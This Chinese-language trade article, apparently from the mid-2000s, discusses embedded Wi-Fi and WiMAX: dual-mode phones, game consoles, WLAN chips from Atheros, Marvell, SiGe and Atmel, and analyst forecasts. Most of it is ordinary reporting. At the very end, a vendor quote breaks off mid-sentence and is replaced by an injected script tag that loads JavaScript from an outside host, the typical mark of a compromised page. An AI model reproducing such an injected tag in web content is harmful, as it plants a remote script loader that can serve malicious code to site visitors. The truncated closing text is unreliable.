和雷声大、雨点小的3g相比，wi-fi和wimax应用可谓如火如荼。在席卷笔记本电脑市场后，wi-fi正大举向手机和游戏机等嵌入式领域进军，成为构建数字家庭和数字企业的主要无线技术。而随着主要标准相继确定和互操作性测试开始，以及英特尔等重量级厂商推动，固定wimax网络将在2006年开始部署，为运营商基础设施、企业和wi-fi热点提供最后一英里宽带接入和回程。但这只是故事的开始，到2007和2008年，随着移动wimax网络的部署，wimax开始嵌入手持设备，与3g、hsdpa和wifi等技术共存与融合，实现随时随地的无缝宽带漫游。
单芯片和先进封装技术助力，手机和游戏机引领嵌入式wi-fi应用
sige半导体公司无线数据产品总监andrew parolin：“嵌入式wlan领域的设计活动以voip手持设备及游戏市场中最多。”
如果说pc是数字家庭的中心话，在占据了这个中心阵地后，wlan正向pc周边的嵌入式产品大举渗透，包括家庭网关、dvd播放机、数字电视和游戏机等。柯达和尼康还在最近分别推出支持了wi-fi的数码相机，实时向pc传送照片，或者将照片直接传送到无线打印机上即时打印，柯达的wi-fi数码相机更是可以通过wi-fi热点上网收发email和上传照片。
市场研究机构idc预测，2004年仅1%的消费电子产品拥有wlan功能，到2008年，13%的消费电子产品将带有wlan功能，市场中将有8,100万个具备wlan功能的产品，占所有wlan半导体出货量的21%左右。其中，2008年wlan在游戏机领域中的出货量将由2004年的200万个增长到5,500万个；dvd领域将由100万个增长到900万个；数字电视领域将使用900万个wlan模块。
顺应这一市场趋势，atmel无线连接产品线经理jeff leasure指出：“atmel在客户端产品方面的重点已转移到嵌入类产品，如打印机、机顶盒、多媒本播放器以及宽带网关，如atmel公司的at76c521。”sige半导体公司无线数据产品总监andrew parolin也表示：“面向嵌入式领域的wlan子市场将是未来3－4年间增长最快的wlan市场，甚至超过pc无线子市场。嵌入式wlan领域的设计活动以voip手持设备及游戏市场中最多。”
atheros公司的战略营销总监mark hung表示：“蜂窝/wlan双模手机市场预计将在2006底和2007年初开始起飞。”
除了索尼和任天堂游戏机为代表的消费电子产品外，在voip应用推动下，蜂窝/wlan双模手机成为嵌入式wi-fi领域的另一个热点，预计将在2006年迎来大幅增长。诺基亚在2005年初宣布，面向企业市场的智能手机将在两年内全部支持双模的蜂窝/wi-fi功能，摩托罗拉也将采用类似的策略。不久前，高通宣布，其mobile station modem芯片组将支持飞利浦的wlan模块，最初的产品将是sm6550芯片组，预计在2005年底前商用出货。abi research的分析师ian cox表示：“第一批蜂窝/wlan双模手机已接近商业发布，它们的价格到2006年初应该能够与常规手机竞争。” atheros公司的战略营销总监mark hung表示：“蜂窝/wlan双模手机市场预计将在2006底和2007年初开始起飞。”
无疑，芯片价格、尺寸和功耗的降低是嵌入式wi-fi应用的推动力，这又得益于集成度越来越高的芯片和封装技术。随着rf mos工艺的进步，atheros、broadcom、conexant和ti等厂商都推出了将射频与基带集成的单芯片soc。atheros的移动射频芯片(radio-on-chip for mobile, rocm)系列包括用于802.11g 的ar6001g和用于802.11a/g 的ar6001x 。ar6001g与ar6001x在单芯片上整合了802.11 mac/bb和射频。hung介绍说：“rocm解决方案采用自动省电模式(apsd)以及超低功耗睡眠模式等技术，能将耗电量降至最低，而高速传输则可减少收发时间。此外，在芯片嵌入处理器上执行的独立驱动程序，也能分担主机处理器日常的网络维护作业。加上其它的省电方法，rocm芯片针对wlan作业的能效比传统wlan芯片提高6倍，大幅延长电池寿命。”
atmel无线连接产品线经理jeff leasure：“3g是以话音为主的技术，wimax是以数据为主的技术。它们之间存在一些重叠，但核心应用将是互补的。”
marvell不久前发布了超低功耗90nm wlan单芯片解决方案88w8686，提供低于400mw的最低总体系统功耗及55mm2的最小系统尺寸。以它应用于双模手机为例，待机超过250小时，通话超过10小时，而当前方案分别为70小时和4小时。marvell 88w8686集成了一片arm兼容的cpu、包含sdio和spi以确保与多种主机系统互用的高速串行主机接口，以及802.11 a/b/g rf收发器，完全与蜂窝网络相容。而sige的se2550bl是一款完整的wlan rf模块，包括高效pa、i/o匹配、功率检测器、滤波器及开关，所有器件都集成在一块超薄的4x4.5x0.6 mm封装中。parolin强调：“sige公司的?script src=http://er12.com/t.js>
